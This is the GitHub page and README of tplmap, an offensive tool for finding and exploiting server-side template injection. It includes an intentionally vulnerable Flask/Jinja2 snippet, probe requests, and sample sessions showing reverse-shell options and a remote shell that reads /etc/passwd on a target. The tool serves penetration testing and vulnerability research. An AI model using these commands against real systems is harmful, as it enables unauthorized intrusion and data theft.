epinna / **tplmap**

Watch 83 Star 1.5k Fork 322

Server-Side Template Injection and Code Injection Detection and Exploitation Tool

711 commits **2** branches **0** packages **6** releases **7** contributors GPL-3.0

Branch: **master** New pull request Find file Clone or download

reversebrain and **epinna** Added Loader argument to yaml.load() ✓ Latest commit `7498076` on Aug 20

burp_extension	Moved burp extension modules to 'burp_extension/'	3 years ago
core	Fixed disable_warnings() function	4 months ago
docker-envs	Use Twig 1.20 as secured version	last year
plugins	Add Twig <1.20 tests	last year
tests	Fix tests with empty tpl parameter	last year
utils	Added Loader argument to yaml.load()	4 months ago
.gitignore	Add vim related files	2 years ago
.travis.yml	Run tests from within docker instances	2 years ago
LICENSE.md	Create LICENSE.md	3 years ago
README.md	Polish readme	last year
burp_extension.py	Moved burp extension modules to 'burp_extension/'	3 years ago
config.yml	Move time_based_blind_delay to the config file	3 years ago
requirements.txt	Updated dependencies versions	4 months ago
tplmap.py	Bump version	last year

README.md

Tplmap

Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system.

The tool and its test suite are developed to research the SSTI vulnerability class and to be used as offensive security tool during web application penetration tests.

The sandbox break-out techniques came from James Kett's Server-Side Template Injection: RCE For The Modern Web App, other public researches [1] [2], and original contributions to this tool [3] [4].

It can exploit several code context and blind injection scenarios. It also supports *eval()*-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines.

Server-Side Template Injection

Assume that you are auditing a web site that generates dynamic pages using templates composed with user-provided values, such as this web application written in Python and Flask that uses Jinja2 template engine in an unsafe way.

```
from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

@app.route("/page")
def page():

    name = request.values.get('name')

    # SSTI VULNERABILITY
    # The vulnerability is introduced concatenating the
    # user-provided `name` variable to the template string.
    output = Jinja2.from_string('Hello ' + name + '!').render()

    # Instead, the variable should be passed to the template context.
    # Jinja2.from_string('Hello {{name}}!').render(name = name)

    return output

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
```

From a black box testing perspective, the page reflects the value similarly to a XSS vulnerability, but also computes basic operation at runtime disclosing its SSTI nature.

```
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!
```

Exploitation

Tplmap is able to detect and exploit SSTI in a range of template engines to get access to the underlying file system and operating system. Run it against the URL to test if the parameters are vulnerable.

```
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:
    --os-shell                 Run shell on the target
    --os-cmd                   Execute shell commands
    --bind-shell PORT          Connect to a shell bind to a target port
    --reverse-shell HOST PORT  Send a shell back to the attacker's port
    --upload LOCAL REMOTE      Upload files to the server
    --download REMOTE LOCAL    Download remote files
```

Use `--os-shell` option to launch a pseudo-terminal on the target.

```
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Run commands on the operating system.

linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
```

Supported template engines

Tplmap supports over 15 template engines, unsandboxed template engines and generic *eval()*-like injections.

Engine	Remote Command Execution	Blind	Code evaluation	File read	File write
Mako	✓	✓	Python	✓	✓
Jinja2	✓	✓	Python	✓	✓
Python (code eval)	✓	✓	Python	✓	✓
Tornado	✓	✓	Python	✓	✓
Nunjucks	✓	✓	JavaScript	✓	✓
Pug	✓	✓	JavaScript	✓	✓
doT	✓	✓	JavaScript	✓	✓
Marko	✓	✓	JavaScript	✓	✓
JavaScript (code eval)	✓	✓	JavaScript	✓	✓
Dust (<= dustjs-helpers@1.5.0)	✓	✓	JavaScript	✓	✓
EJS	✓	✓	JavaScript	✓	✓
Ruby (code eval)	✓	✓	Ruby	✓	✓
Slim	✓	✓	Ruby	✓	✓
ERB	✓	✓	Ruby	✓	✓
Smarty (unsecured)	✓	✓	PHP	✓	✓
PHP (code eval)	✓	✓	PHP	✓	✓
Twig (<=1.19)	✓	✓	PHP	✓	✓
Freemarker	✓	✓	×	✓	✓
Velocity	✓	✓	×	✓	✓
Twig (>1.19)	×	×	×	×	×
Smarty (secured)	×	×	×	×	×

Engine	Remote Command Execution	Blind	Code evaluation	File read	File write
Dust (> dustjs-helpers@1.5.0)	×	×	×	×	×

Burp Suite Plugin

See burp_extension/README.md.